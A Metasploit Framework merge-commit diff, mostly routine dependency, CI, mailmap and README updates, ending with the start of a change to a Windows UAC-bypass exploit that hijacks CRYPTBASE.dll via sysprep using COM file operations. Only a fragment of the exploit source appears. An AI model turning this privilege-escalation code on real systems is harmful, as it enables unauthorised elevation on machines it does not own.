Merge pull request #57 from dmaloney-r7/feature/metaballs1/enum_ad_users
Feature/metaballs1/enum ad usersbug/bundler_fix
commit
6b0de8cbf0
52
.mailmap
52
.mailmap
|
@ -1,30 +1,50 @@
|
|||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com> # aka TheLightCosine
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net>
|
||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
|
||||
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
joev-r7 <joev-r7@github> jvennix-r7 <joev@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
limhoff-r7 <limhoff-r7@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
|
||||
mbuck-r7 <mbuck-r7@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
mbuck-r7 <mbuck-r7@github> Matt Buck <techpeace@gmail.com>
|
||||
mschloesser-r7 <mschloesser-r7@github> Mark Schloesser <mark_schloesser@rapid7.com>
|
||||
mschloesser-r7 <mschloesser-r7@github> mschloesser-r7 <mark_schloesser@rapid7.com>
|
||||
parzamendi-r7 <parzamendi-r7@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
|
||||
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
|
@ -34,10 +54,13 @@ wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
|||
# let todb@metasploit.com know.
|
||||
|
||||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
Brandon Perry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
Brandon Perry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
Brian Wallace <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
|
||||
Brian Wallace <bwall@github> Brian Wallace <bwall@openbwall.com>
|
||||
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
|
||||
bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
brandonprry <brandonprry@github> Brandon Perry <brandon.perry@zenimaxonline.com>
|
||||
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
|
||||
bwall <bwall@github> Brian Wallace <bwall@openbwall.com>
|
||||
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
|
||||
Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com>
|
||||
Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com>
|
||||
|
@ -59,11 +82,13 @@ jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
|
|||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
|
||||
kris <kris@???> kris <>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
|
||||
m-1-k-3 <m-1-k-3@github> Michael Messner <devnull@s3cur1ty.de>
|
||||
Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk>
|
||||
|
@ -71,23 +96,30 @@ mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
|
|||
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
|
||||
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
|
||||
nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com>
|
||||
nullbind <nullbind@github> Scott Sutherland <scott.sutherland@nullbind.com>
|
||||
ohdae <ohdae@github> ohdae <bindshell@live.com>
|
||||
OJ <oj@github> OJ Reeves <oj@buffered.io>
|
||||
OJ <oj@github> OJ <oj@buffered.io>
|
||||
oj <oj@github> OJ <oj@buffered.io>
|
||||
oj <oj@github> OJ Reeves <oj@buffered.io>
|
||||
r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local>
|
||||
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
|
||||
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
|
||||
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
|
||||
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
|
||||
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
|
||||
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
|
||||
skape <skape@???> Matt Miller <mmiller@hick.org>
|
||||
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
||||
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
||||
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
timwr <timwr@github> Tim <timrlw@gmail.com>
|
||||
timwr <timwr@github> Tim Wright <timrlw@gmail.com>
|
||||
TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
|
||||
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
||||
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
|
||||
|
||||
# Aliases for utility author names. Since they're fake, typos abound
|
||||
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
|
||||
|
|
|
@ -1 +1 @@
|
|||
1.9.3-p551
|
||||
2.1.5
|
||||
|
|
18
.travis.yml
18
.travis.yml
|
@ -1,20 +1,18 @@
|
|||
bundler_args: --without coverage development pcap
|
||||
cache: bundler
|
||||
env:
|
||||
- RAKE_TASK=cucumber
|
||||
# Commenting out the boot tests due to chronic timeouts.
|
||||
# - RAKE_TASK=cucumber:boot
|
||||
- RAKE_TASK=spec SPEC_OPTS="--tag content"
|
||||
- RAKE_TASK=spec SPEC_OPTS="--tag ~content"
|
||||
- RAKE_TASKS="cucumber cucumber:boot"
|
||||
- RAKE_TASKS=spec SPEC_OPTS="--tag content"
|
||||
- RAKE_TASKS=spec SPEC_OPTS="--tag ~content"
|
||||
|
||||
language: ruby
|
||||
matrix:
|
||||
fast_finish: true
|
||||
before_install:
|
||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||
- rake --version
|
||||
- sudo apt-get update -qq
|
||||
- sudo apt-get install -qq libpcap-dev
|
||||
# Uncomment when we have fewer shipping msftidy warnings.
|
||||
# Merge committers will still be checking, just not autofailing.
|
||||
# See https://dev.metasploit.com/redmine/issues/8498
|
||||
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||
# - ls -la ./.git/hooks
|
||||
# - ./.git/hooks/post-merge
|
||||
|
@ -25,8 +23,8 @@ before_script:
|
|||
- bundle exec rake db:migrate
|
||||
script:
|
||||
# fail build if db/schema.rb update is not committed
|
||||
- git diff --exit-code && bundle exec rake $RAKE_TASK
|
||||
|
||||
- git diff --exit-code && bundle exec rake $RAKE_TASKS
|
||||
sudo: false
|
||||
rvm:
|
||||
- '1.9.3'
|
||||
- '2.1'
|
||||
|
|
|
@ -57,7 +57,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
|
|||
#### New Modules
|
||||
|
||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
|
||||
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Do** use the [many module mixin APIs](https://rapid7.github.io/metasploit-framework/api/). Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
|
||||
#### Library Code
|
||||
|
|
2
COPYING
2
COPYING
|
@ -1,4 +1,4 @@
|
|||
Copyright (C) 2006-2014, Rapid7, Inc.
|
||||
Copyright (C) 2006-2015, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
|
12
Gemfile
12
Gemfile
|
@ -3,6 +3,14 @@ source 'https://rubygems.org'
|
|||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec name: 'metasploit-framework'
|
||||
|
||||
# separate from test as simplecov is not run on travis-ci
|
||||
group :coverage do
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
end
|
||||
|
||||
group :db do
|
||||
gemspec name: 'metasploit-framework-db'
|
||||
end
|
||||
|
@ -44,10 +52,6 @@ group :test do
|
|||
# cucumber + automatic database cleaning with database_cleaner
|
||||
gem 'cucumber-rails', :require => false
|
||||
gem 'shoulda-matchers'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
end
|
||||
|
|
84
Gemfile.lock
84
Gemfile.lock
|
@ -1,15 +1,15 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.10.1.pre.dev)
|
||||
actionpack (< 4.0.0)
|
||||
activesupport (>= 3.0.0, < 4.0.0)
|
||||
metasploit-framework (4.11.0.pre.dev)
|
||||
actionpack (>= 3.2.21, < 4.0.0)
|
||||
activesupport (>= 3.2.21, < 4.0.0)
|
||||
bcrypt
|
||||
jsobfu (~> 0.2.0)
|
||||
json
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.28.0)
|
||||
meterpreter_bins (= 0.0.12)
|
||||
meterpreter_bins (= 0.0.13)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -20,26 +20,26 @@ PATH
|
|||
rubyzip (~> 1.1)
|
||||
sqlite3
|
||||
tzinfo
|
||||
metasploit-framework-db (4.10.1.pre.dev)
|
||||
activerecord (< 4.0.0)
|
||||
metasploit-credential (~> 0.13.7)
|
||||
metasploit-framework (= 4.10.1.pre.dev)
|
||||
metasploit_data_models (~> 0.21.1)
|
||||
metasploit-framework-db (4.11.0.pre.dev)
|
||||
activerecord (>= 3.2.21, < 4.0.0)
|
||||
metasploit-credential (~> 0.13.11)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
metasploit_data_models (~> 0.21.3)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.10.1.pre.dev)
|
||||
metasploit-framework (= 4.10.1.pre.dev)
|
||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
network_interface (~> 0.0.1)
|
||||
pcaprub
|
||||
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
actionmailer (3.2.19)
|
||||
actionpack (= 3.2.19)
|
||||
actionmailer (3.2.21)
|
||||
actionpack (= 3.2.21)
|
||||
mail (~> 2.5.4)
|
||||
actionpack (3.2.19)
|
||||
activemodel (= 3.2.19)
|
||||
activesupport (= 3.2.19)
|
||||
actionpack (3.2.21)
|
||||
activemodel (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
builder (~> 3.0.0)
|
||||
erubis (~> 2.7.0)
|
||||
journey (~> 1.0.4)
|
||||
|
@ -47,18 +47,18 @@ GEM
|
|||
rack-cache (~> 1.2)
|
||||
rack-test (~> 0.6.1)
|
||||
sprockets (~> 2.2.1)
|
||||
activemodel (3.2.19)
|
||||
activesupport (= 3.2.19)
|
||||
activemodel (3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.19)
|
||||
activemodel (= 3.2.19)
|
||||
activesupport (= 3.2.19)
|
||||
activerecord (3.2.21)
|
||||
activemodel (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activeresource (3.2.19)
|
||||
activemodel (= 3.2.19)
|
||||
activesupport (= 3.2.19)
|
||||
activesupport (3.2.19)
|
||||
activeresource (3.2.21)
|
||||
activemodel (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
activesupport (3.2.21)
|
||||
i18n (~> 0.6, >= 0.6.4)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.3)
|
||||
|
@ -101,7 +101,7 @@ GEM
|
|||
gherkin (2.11.6)
|
||||
json (>= 1.7.6)
|
||||
hike (1.2.3)
|
||||
i18n (0.6.11)
|
||||
i18n (0.7.0)
|
||||
journey (1.0.4)
|
||||
jsobfu (0.2.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
|
@ -112,7 +112,7 @@ GEM
|
|||
metasploit-concern (0.3.0)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
railties (< 4.0.0)
|
||||
metasploit-credential (0.13.7)
|
||||
metasploit-credential (0.13.11)
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.28.0)
|
||||
metasploit_data_models (~> 0.21.0)
|
||||
|
@ -123,7 +123,7 @@ GEM
|
|||
metasploit-model (0.28.0)
|
||||
activesupport
|
||||
railties (< 4.0.0)
|
||||
metasploit_data_models (0.21.2)
|
||||
metasploit_data_models (0.21.3)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
arel-helpers
|
||||
|
@ -132,10 +132,10 @@ GEM
|
|||
pg
|
||||
railties (< 4.0.0)
|
||||
recog (~> 1.0)
|
||||
meterpreter_bins (0.0.12)
|
||||
meterpreter_bins (0.0.13)
|
||||
method_source (0.8.2)
|
||||
mime-types (1.25.1)
|
||||
mini_portile (0.6.1)
|
||||
mini_portile (0.6.2)
|
||||
msgpack (0.5.9)
|
||||
multi_json (1.0.4)
|
||||
network_interface (0.0.1)
|
||||
|
@ -143,7 +143,7 @@ GEM
|
|||
mini_portile (~> 0.6.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
pg (0.17.1)
|
||||
pg (0.18.1)
|
||||
polyglot (0.3.5)
|
||||
pry (0.10.0)
|
||||
coderay (~> 1.1.0)
|
||||
|
@ -156,17 +156,17 @@ GEM
|
|||
rack
|
||||
rack-test (0.6.2)
|
||||
rack (>= 1.0)
|
||||
rails (3.2.19)
|
||||
actionmailer (= 3.2.19)
|
||||
actionpack (= 3.2.19)
|
||||
activerecord (= 3.2.19)
|
||||
activeresource (= 3.2.19)
|
||||
activesupport (= 3.2.19)
|
||||
rails (3.2.21)
|
||||
actionmailer (= 3.2.21)
|
||||
actionpack (= 3.2.21)
|
||||
activerecord (= 3.2.21)
|
||||
activeresource (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
bundler (~> 1.0)
|
||||
railties (= 3.2.19)
|
||||
railties (3.2.19)
|
||||
actionpack (= 3.2.19)
|
||||
activesupport (= 3.2.19)
|
||||
railties (= 3.2.21)
|
||||
railties (3.2.21)
|
||||
actionpack (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
rack-ssl (~> 1.3.2)
|
||||
rake (>= 0.8.7)
|
||||
rdoc (~> 3.4)
|
||||
|
@ -175,7 +175,7 @@ GEM
|
|||
rb-readline (0.5.1)
|
||||
rdoc (3.12.2)
|
||||
json (~> 1.4)
|
||||
recog (1.0.6)
|
||||
recog (1.0.7)
|
||||
nokogiri
|
||||
redcarpet (3.1.2)
|
||||
rkelly-remix (0.0.6)
|
||||
|
|
2
LICENSE
2
LICENSE
|
@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
|||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2014, Rapid7, Inc.
|
||||
Copyright: 2006-2015, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
|
|
25
README.md
25
README.md
|
@ -1,26 +1,18 @@
|
|||
|
||||
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
||||
The latest version of this software is available from http://metasploit.com/
|
||||
The latest version of this software is available from https://metasploit.com/
|
||||
|
||||
Bug tracking and development information can be found at:
|
||||
https://dev.metasploit.com/redmine/projects/framework/
|
||||
|
||||
The public GitHub source repository can be found at:
|
||||
https://github.com/rapid7/metasploit-framework
|
||||
|
||||
API documentation for writing modules can be found at:
|
||||
https://rapid7.github.io/metasploit-framework/api
|
||||
|
||||
Questions and suggestions can be sent to:
|
||||
msfdev(at)metasploit.com
|
||||
|
||||
The framework mailing list is the place to discuss features and ask for help.
|
||||
To subscribe, visit the following web page:
|
||||
https://mail.metasploit.com/mailman/listinfo/framework
|
||||
|
||||
The mailing list archives are available from:
|
||||
https://mail.metasploit.com/pipermail/framework/
|
||||
https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
|
||||
|
||||
Installing
|
||||
--
|
||||
|
@ -34,10 +26,8 @@ Using Metasploit
|
|||
--
|
||||
Metasploit can do all sorts of things. The first thing you'll want to do
|
||||
is start `msfconsole`, but after that, you'll probably be best served by
|
||||
reading some of the great tutorials online:
|
||||
|
||||
* [Metasploit Unleashed][unleashed]
|
||||
* [The official Metasploit wiki on Github][wiki-start]
|
||||
reading [Metasploit Unleashed][unleashed], the [great community
|
||||
resources](https://metasploit.github.io), or the [wiki].
|
||||
|
||||
Contributing
|
||||
--
|
||||
|
@ -48,6 +38,7 @@ pull request. For slightly more info, see
|
|||
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||
|
||||
|
||||
[wiki]: https://github.com/rapid7/metasploit-framework/wiki
|
||||
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment "Metasploit Development Environment Setup"
|
||||
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
|
||||
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"
|
||||
|
|
|
@ -9,6 +9,7 @@ all_environments = [
|
|||
|
||||
Bundler.require(
|
||||
*Rails.groups(
|
||||
coverage: [:test],
|
||||
db: all_environments,
|
||||
pcap: all_environments
|
||||
)
|
||||
|
@ -33,6 +34,7 @@ module Metasploit
|
|||
class Application < Rails::Application
|
||||
include Metasploit::Framework::CommonEngine
|
||||
|
||||
config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log"
|
||||
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
|
||||
end
|
||||
end
|
||||
|
|
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -920,7 +920,7 @@ function read($resource, $len=null) {
|
|||
# whole php process will block waiting for data that may never come.
|
||||
# Unfortunately, selecting on pipes created with proc_open on Windows
|
||||
# always returns immediately. Basically, shell interaction in Windows
|
||||
# is hosed until this gets figured out. See https://dev.metasploit.com/redmine/issues/2232
|
||||
# is hosed until this gets figured out.
|
||||
$r = Array($resource);
|
||||
my_print("Calling select to see if there's data on $resource");
|
||||
while (true) {
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20140922170030) do
|
||||
ActiveRecord::Schema.define(:version => 20150106201450) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
|
|
@ -93,7 +93,7 @@
|
|||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
|
@ -132,7 +132,7 @@
|
|||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
|
@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
|
|||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\Exploit.cpp" />
|
||||
<ClCompile Include="src\ReflectiveDll.c" />
|
||||
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
|
||||
<ClCompile Include="src\ReflectiveDll.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\Exploit.h" />
|
||||
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
|
||||
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
|
||||
<ClInclude Include="src\Exploit.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
|
|
175
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
vendored
Normal file → Executable file
175
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
vendored
Normal file → Executable file
|
@ -1,22 +1,15 @@
|
|||
#include "ReflectiveLoader.h"
|
||||
#include "Exploit.h"
|
||||
|
||||
void exploit()
|
||||
{
|
||||
#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;}
|
||||
|
||||
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
|
||||
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
|
||||
const wchar_t *sySysPrepExe = L"sysprep.exe";
|
||||
const wchar_t *szElevDll = L"CRYPTBASE.dll";
|
||||
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
|
||||
wchar_t szElevDir[MAX_PATH] = {};
|
||||
wchar_t szElevDir_syswow64[MAX_PATH] = {};
|
||||
wchar_t szElevDllFull[MAX_PATH] = {};
|
||||
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
|
||||
wchar_t szElevExeFull[MAX_PATH] = {};
|
||||
wchar_t path[MAX_PATH] = {};
|
||||
wchar_t windir[MAX_PATH] = {};
|
||||
extern "C" {
|
||||
|
||||
void exploit(BypassUacPaths const * const paths)
|
||||
{
|
||||
const wchar_t *szElevArgs = L"";
|
||||
const wchar_t *szEIFOMoniker = NULL;
|
||||
|
||||
PVOID OldValue = NULL;
|
||||
|
||||
IFileOperation *pFileOp = NULL;
|
||||
|
@ -24,59 +17,74 @@ void exploit()
|
|||
IShellItem *pSHIDestination = 0;
|
||||
IShellItem *pSHIDelete = 0;
|
||||
|
||||
BOOL bComInitialised = FALSE;
|
||||
|
||||
const IID *pIID_EIFO = &__uuidof(IFileOperation);
|
||||
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
|
||||
